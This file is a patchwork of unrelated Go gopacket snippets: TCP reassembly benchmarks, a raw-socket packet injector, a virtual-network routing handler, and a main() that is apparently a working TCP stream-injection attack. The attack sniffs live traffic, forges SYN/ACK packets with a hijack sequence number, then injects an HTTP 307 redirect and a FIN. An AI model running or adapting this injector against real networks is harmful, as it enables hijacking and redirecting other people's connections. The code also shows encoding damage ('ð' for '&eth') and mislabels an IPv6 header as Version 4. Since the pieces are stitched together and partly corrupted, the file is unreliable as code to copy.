func BenchmarkMultiStreamGrow(b *testing.B) { t := layers.TCP{ SrcPort: 1, DstPort: 2, Seq: 0, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}}, } a := NewAssembler(NewStreamPool(&testFactory{})) for i := 0; i < b.N; i++ { t.SrcPort = layers.TCPPort(i) a.Assemble(netFlow, &t) t.Seq += 10 } }
func (r *RawSocketServer) injectPacketFromDst(tcpLayer *layers.TCP, rawBytes []byte) error { // Preparing ipLayer. ipLayer := &layers.IPv4{ SrcIP: r.dst.ip, DstIP: r.src.ip, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } options := gopacket.SerializeOptions{ ComputeChecksums: true, FixLengths: true, } tcpLayer.SrcPort = r.dst.port tcpLayer.DstPort = r.src.port tcpLayer.Window = r.window tcpLayer.Ack = r.ack tcpLayer.Seq = r.seq tcpLayer.SetNetworkLayerForChecksum(ipLayer) // And create the packet with the layers buffer := gopacket.NewSerializeBuffer() gopacket.SerializeLayers(buffer, options, ipLayer, tcpLayer, gopacket.Payload(rawBytes), ) outgoingPacket := buffer.Bytes() p := tuntap.Packet{ Protocol: 0x800, Truncated: false, Packet: outgoingPacket, } return r.iface.WritePacket(&p) }
func BenchmarkMultiStreamConn(b *testing.B) { t := layers.TCP{ SrcPort: 1, DstPort: 2, Seq: 0, SYN: true, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}}, } a := NewAssembler(NewStreamPool(&testFactory{})) for i := 0; i < b.N; i++ { t.SrcPort = layers.TCPPort(i) a.Assemble(netFlow, &t) if i%65536 == 65535 { if t.SYN { t.SYN = false t.Seq += 1 } t.Seq += 10 } } }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &tcp, &payload) log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") } }
func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) { // fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String()) defer pkt.Release() var err error if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) { // ignore return } if pkt.DstHost == nil { // ignore return } if !pkt.DstHost.Up { log.Printf("destination is down: %s", pkt.DstHost.Name) // ignore return } var ( srcIP net.IP dstIP net.IP srcPort = uint16(pkt.TCP.SrcPort) dstPort = uint16(pkt.TCP.DstPort) ) if pkt.IPv4 != nil { srcIP = CloneIP(pkt.IPv4.SrcIP.To16()) dstIP = CloneIP(pkt.IPv4.DstIP.To16()) } else if pkt.IPv6 != nil { srcIP = CloneIP(pkt.IPv6.SrcIP.To16()) dstIP = CloneIP(pkt.IPv6.DstIP.To16()) } else { log.Printf("invalid protocol") // ignore return } route := vnet.routes.GetTable().Lookup( protocols.TCP, srcIP, dstIP, srcPort, dstPort) if route == nil { rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort) if !found { log.Printf("no rule") // ignore return } var ( ruleDstIP = rule.DstIP ruleDstPort = rule.DstPort hostIP net.IP hostPort uint16 ) if ruleDstIP != nil { hostIP = dstIP hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(hostIP, hostPort) r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort) r.SetOutboundDestination(ruleDstIP, rule.DstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } ruleDstIP = vnet.system.GatewayIPv4() ruleDstPort = vnet.proxy.TCPPort } if ruleDstIP == nil { gateway := vnet.hosts.GetTable().LookupByName("gateway") if gateway == nil || !gateway.Up { log.Printf("no gateway") // ignore return } if dstIP.To4() != nil { if len(gateway.IPv4Addrs) > 0 { ruleDstIP = gateway.IPv4Addrs[0] } } else { if len(gateway.IPv6Addrs) > 0 { ruleDstIP = gateway.IPv6Addrs[0] } } } if ruleDstIP == nil { log.Printf("no destination ip") // ignore return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(srcIP, srcPort) r.SetInboundDestination(dstIP, dstPort) r.SetOutboundSource(hostIP, hostPort) r.SetOutboundDestination(ruleDstIP, ruleDstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } } if route == nil { log.Printf("no route") // ignore return } var ( eth layers.Ethernet tcp layers.TCP ) eth = *pkt.Eth eth.SrcMAC = vnet.system.ControllerMAC() eth.DstMAC = vnet.system.GatewayMAC() tcp = *pkt.TCP tcp.SrcPort = layers.TCPPort(route.Outbound.SrcPort) tcp.DstPort = layers.TCPPort(route.Outbound.DstPort) if route.Outbound.DstIP.To4() != nil { ip := layers.IPv4{ SrcIP: route.Outbound.SrcIP.To4(), DstIP: route.Outbound.DstIP.To4(), Version: 4, Protocol: layers.IPProtocolTCP, TTL: 64, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } else { ip := layers.IPv6{ SrcIP: route.Outbound.SrcIP.To16(), DstIP: route.Outbound.DstIP.To16(), Version: 4, NextHeader: layers.IPProtocolTCP, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } route.RoutedPacket(now, len(pkt.buf)) }